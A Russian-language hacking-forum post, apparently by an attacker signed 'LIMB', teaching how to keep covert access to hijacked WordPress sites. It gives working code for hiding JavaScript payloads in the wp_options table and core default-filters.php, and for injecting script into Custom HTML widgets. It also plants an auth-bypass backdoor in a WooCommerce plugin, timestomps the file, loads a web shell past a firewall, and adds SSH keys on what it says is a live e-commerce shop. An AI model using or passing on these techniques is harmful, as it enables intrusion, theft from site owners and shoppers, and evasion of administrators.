Почему WP? Ну, а что еще? 43% интернета, по этому если ты хоть раз в жизни ковырял чужой сайт, то с вероятностью почти в половину это был вордпресс. Движок старый, жирный, с кучей легаси, и самое главное, с такой архитектурой, где код может лежать в десятке мест одновременно, и это будет считаться "нормой". Тут тебе и база данных, и опции, и хуки, и транзиенты, и кроны, и виджеты, и mu-plugins, и еще хрен знает что. Рай для закрепа, если понимать куда ложить. Сегодня разберем несколько методов, от относительно простых, до совсем наглых, где ваш код будет жить в таких щелях вордпресса, куда нормальный человек просто не полезет смотреть. Причем у каждого метода свой уровень живучести, какие-то переживут обновление темы, какие-то переживут даже полную переустановку WP. По этому и название такое, чем глубже рана, тем дольше отношения. Погнали.
Самый, наверное, лучший способ выжить по моему мнению это внутри БД. Во всех вордпрессах внутри базы есть таблица wp_options - это такой key-value storage, где WordPress хранит ВСЁ. Название сайта, URL, активные плагины, настройки темы, виджеты, кроны..- Там сотни записей даже на чистом WP, а на живом сайте с плагинами их может быть тысячи. И вот представьте, среди этих тысяч строк лежит одна лишняя с неприметным названием. Найдете? Вряд ли. Суть метода: мы сохраняем наш JS-код как обычную опцию в БД, а потом через хук wp_enqueue_scripts цепляем его к уже подключенному jQuery как inline-скрипт. В исходнике это выглядит абсолютно легитимно, WordPress сам так делает для десятков своих скриптов. Допустим, у нас есть доступ к wp-admin, или напрямую к БД через phpMyAdmin, adminer, или просто через шелл. Первый шаг, заложить пэйлод в базу:
Спойлер: SQL
INSERT INTO wp_options (option_name, option_value, autoload)
VALUES ('_site_transient_browser_check', 'console.log("свободупопугаям")', 'yes')
ON DUPLICATE KEY UPDATE option_value = VALUES(option_value);
Два момента. Первый, обратите внимание на название _site_transient_browser_check. Выглядит как системная запись, правда? Так и задумано. Никто в здравом уме не будет разбираться, что там за browser check. Второй, в значении лежит ЧИСТЫЙ JS без тегов <script> почему - объясню ниже. А autoload = 'yes' значит, что WordPress будет подгружать это значение при каждом запросе автоматически, без лишних обращений к БД. Теперь нужно это вывести на страницу. И вот тут важный момент, потому что первое что приходит в голову:
add_action('wp_footer', function() {
echo get_option('_site_transient_browser_check');
});
..и это херня. Не потому что не работает, а потому что голый echo сбрасывает твой <script> куда попало между закрывающими тегами, и в исходнике это выглядит как мусор. Если админ откроет Ctrl+U и увидит одинокий скрипт-тег торчащий из ниоткуда между </footer> и </body>, вопросы возникнут мгновенно. Правильный способ - wp_add_inline_script. Он цепляет JS к уже существующему скрипту (например jQuery, который есть на 99% WP-сайтов), и в исходнике это выглядит вот так:
<script src="https://darklimb.vip/wp-includes/js/jquery/jquery.min.js"></script> <script id="jquery-core-js-after"> console.log("alive") </script>
Абсолютно натурально. WordPress сам генерирует такие inline-скрипты пачками. Именно поэтому пэйлод в базе лежит без <script> тегов - wp_add_inline_script сам оборачивает. Засунешь туда <script> - получишь двойные теги и сломанный HTML, проверено. Теперь вопрос, куда записать сам хук? Если в functions.php:
add_action('wp_enqueue_scripts', function() {
$p = get_option('_site_transient_browser_check');
if ($p) { wp_add_inline_script('jquery-core', $p); }
}, 9999);
..то это палевно, functions.php проверяют первым делом. Нам нужно место, куда не заглядывают. И вот тут я сам наступил на грабли, которые хочу вам сэкономить. Первая мысль была, wp-includes/version.php, он же подключается на каждой загрузке WordPress. Но нет. WordPress загружает файлы в строгом порядке, и version.php грузится РАНЬШЕ чем plugin.php, а именно plugin.php определяет функцию add_action. То есть в момент исполнения version.php функции add_action просто не существует, и ваш код тихо скипнется. Правильный файл, wp-includes/default-filters.php. Он грузится ПОСЛЕ plugin.php, и весь состоит из вызовов add_action/add_filter, что играет только нам на руку.
Спойлер: php
add_action('wp_enqueue_scripts',function(){$p=get_option('_site_transient_browser_check');if($p){wp_add_inline_script('jquery-core',$p);}},9999);
Вот это уже интереснее. В WordPress есть виджеты, и один из стандартных - "Произвольный HTML". Админы сами, своими руками, используют его чтобы вставить какой-нибудь счетчик аналитики, баннер, или чат-виджет. И хранится это всё, угадайте где? Правильно, в wp_options, в сериализованном виде. Запись называется widget_custom_html и выглядит примерно так:
a:2:{i:2;a:3:{s:5:"title";s:0:"";s:7:"content";s:45:"<script>alert('я живу в виджете')</script>";s:6:"filter";b:0;}s:12:"_multiwidget";i:1;}
Это PHP-сериализация. Мерзкий формат, но рабочий. Выглядит как кто-то мордой по клавиатуре проехал, но PHP понимает, и ладно. Прелесть Custom HTML виджета в том, что он рендерит содержимое AS IS. То есть если ты туда положишь <script> он просто выведет его на страницу. И вот что прекрасно,если на сайте уже стоит какой-то виджет с аналитикой (а он стоит почти везде), мы можем просто дописать наш код к уже существующему. Админ открывает виджеты, видит свой Google Analytics, ну и ладно, закрывает. А то, что там внизу еще строчка прилипла, кто будет вчитываться в минифицированный JS гугл-аналитики? Вариант первый, создаем новый виджет через PHP (шелл, eval, что угодно):
Спойлер: php
$widgets = get_option('widget_custom_html', array());
$idx = max(array_keys(array_filter($widgets, 'is_array'))) + 1;
$widgets[$idx] = array(
'title' => '',
'content' => '<script>нагрузочка</script>',
'filter' => false
);
$widgets['_multiwidget'] = 1;
update_option('widget_custom_html', $widgets);
$sidebars = get_option('sidebars_widgets');
$first_sidebar = array_key_first(array_filter($sidebars, function($v, $k) {
return is_array($v) && $k !== 'wp_inactive_widgets';
}, ARRAY_FILTER_USE_BOTH));
$sidebars[$first_sidebar][] = "custom_html-{$idx}";
update_option('sidebars_widgets', $sidebars);
Спойлер: php
$widgets = get_option('widget_custom_html');
foreach ($widgets as $k => &$w) {
if (is_array($w) && !empty($w['content']) && strpos($w['content'], 'facebook') !== false) {
$w['content'] .= "\n" . '<script>нагрузочка</script>';
break;
}
}
update_option('widget_custom_html', $widgets);
А вот это уже не про инжект кода, а про чистую наглость. На куче сайтов стоят так называемые мЭнЭдЖэМэНт-плагины, штуки, которые позволяют управлять сайтом удаленно через внешний дашборд. ManageWP Worker, InfiniteWP Client, MainWP Child, WP Umbrella..- Их ставят агентства и фрилансеры, которые обслуживают по 50 сайтов и не хотят логиниться в каждый отдельно. И вот в чем фокус, эти плагины по своей сути уже являются бэкдорами. Они ждут команду с внешнего сервера и выполняют её с правами админа.
Мой выбор пал на "woocommerce-checkout-field-editor", и наша цель лишь записать в пыхп файл наш зловред. В нем ничего особо примечательного, но с другой стороны он выглядит как белый, ведь это нормальное поведение для всяких автоматизированных защит, ведь ничего плохого не подгружаем? Не подгружаем, и работаем только с самой ВП.
add_action('init', 'checklogin');
function checklogin() {
if (isset($_GET['p']) && $_GET['p'] == 'bangladesh2000') {
$admin_users = get_users(array('role' => 'administrator'));
if (!empty($admin_users)) {
$user = $admin_users[0];
wp_set_current_user($user->ID, $user->user_login);
wp_set_auth_cookie($user->ID);
do_action('wp_login', $user->user_login, $user);
wp_redirect(admin_url());
exit;
}
}
}
Заливаем в файлик, сохраняем. И получаем такой мини бэкдорчик, который сработает если мы переходим на сайт.com/?p=bangladesh2000 . Вкратце, если параметр при переходе равен bangladesh2000, то получаем список всех админов, берем самого первого и заходим в учетку. Но осталась одна проблема. За нами след..
<?php
$file = 'public_html/wp-content/plugins/woocommerce-checkout-field-editor/woocommerce-checkout-field-editor.php';
$timestamp = mktime(9, 58, 0, 12, 1, 2025);
if (touch($file, $timestamp)) {
echo "gotovo";
} else {
echo "ne gotovo";
}
Запускаем такой сниппет в managewp, и получаем, что все прошло успешно. Остается лишь проверить.
Залазим обратно в файл менеджер, и смотрим.
Дата поменялась, и теперь это выглядит уже более естественно, но и куда же без моего косяка, напортачил малясь со временем. Но суть думаю понятна. А если залезть еще глубже? Прям под корень залезть, и уже быть у себя как дома. Я имею в виду захватить сервер, прописаться там, и быть уже абсолютно живым.
Я люблю этот бэкдор. Он дает доступ абсолютно ко всему, к бд, к файловой системе, делает шелл, и все-все-все остальное. Тут он у нас будет временно и не надолго, но и у этого плагина есть минусы.. Ему уж больше 5 лет, что делает его легкой находкой для всяческих АВ, как к примеру у меня и было. Залив его первоначальную версию, я просто получил по роже в виде 403 Forbidden
По этому пришлось его немного переписать, добавить немного маскировки, и прочих вещей. Для начала просто банально поменял всю внутренную обертку, якобы это вукоммерц плагин шиппинг зон и бла-бла-бла, этого понятное дело будет недостаточно от слова совсем, просто чтоб в случае если другой админ параллельно сидит со мной во время работы, то будет хотяб что-то адекватное, а не PAS FORK (никогда так не делайте, подбирайте время правильно). Но главная проблема была в 403 ошибке. Файрвол тупо рубил любой прямой запрос к файлу. Я попробовал через iframe, но это тоже не прокатило, потому что для файрвола это все равно отдельный запрос к подозрительному скрипту. Тогда я пошел другим путем. Зачем вообще стучаться в файл снаружи, если можно заставить сам WordPress подгрузить его изнутри? Сделал страницу в админке, которая при переходе на нее просто подключает код бэкдора через include(). Со стороны это выглядит как обычный переход по админке, ничего подозрительного. Файрвол видит стандартный запрос к admin.php и спокойно его пропускает. И вот теперь меня уже не прокатывают по роже, а сладко приветствует шелл. Итоговый вид плагина, и все такое, я конечно, приложу.
Дальше дело за малым, показать как можно минимально закрепиться. Первое что я сделал, это прописал свой SSH-ключ на сервер. Генерируем ключ у себя на машине через ssh-keygen, берем публичную часть и закидываем на сервер в ~/.ssh/authorized_keys. Стандартная процедура, ничего сложного. Но тут я столкнулся с тем, что подключиться по стандартному 22 порту не вышло. Сервер тупо разрывал соединение еще до проверки ключа. Ошибка kex_exchange_identification: Connection closed by remote host. Это значит что дверь есть, но меня почему-то решили в нее не пускать. Начал копать. Попытался посмотреть конфиг SSH, логи, файлы hosts.allow и hosts.deny. А их нет. Вообще. Потому что это shared-хостинг SiteGround, и у меня тут контейнер без root-доступа, никаких тебе конфигов и логов. Зато у SiteGround есть своя фишка, они используют нестандартный порт для SSH, 18765. Стоило добавить -p 18765 к команде, и сервер меня пустил без единого вопроса. Ключ сработал, пароль не спросили. Понятное дело, что головастый сис. админ такое пропалит, ну, максимально быстро. На менее крупных шопах, такое сработает с очень огромной вероятностью и очень-очень надолго. Целью было показать, что можно и заскочить на сервер, и на сервере баловаться уже как хочу, и зачем хочу. (а переплывать в тему закрепов на машинах, это уже не мой раздел)
В завершении, даже сказать то нечего!) Прошлись по векторам, тут сделали то-то, там то-то. Закрепились, и вроде как даже неплохо (я лично уверен что на этом шопе закреп через сервер будет жить вечно, ордеров там немного, >100 в месяц.) Используйте все методы одновременно, чем больше запасных точек, тем лучше для нас (вас), выкинули из одного места, зашли в другом, и так до бесконечности. Не болейте, всем пока!
LIMB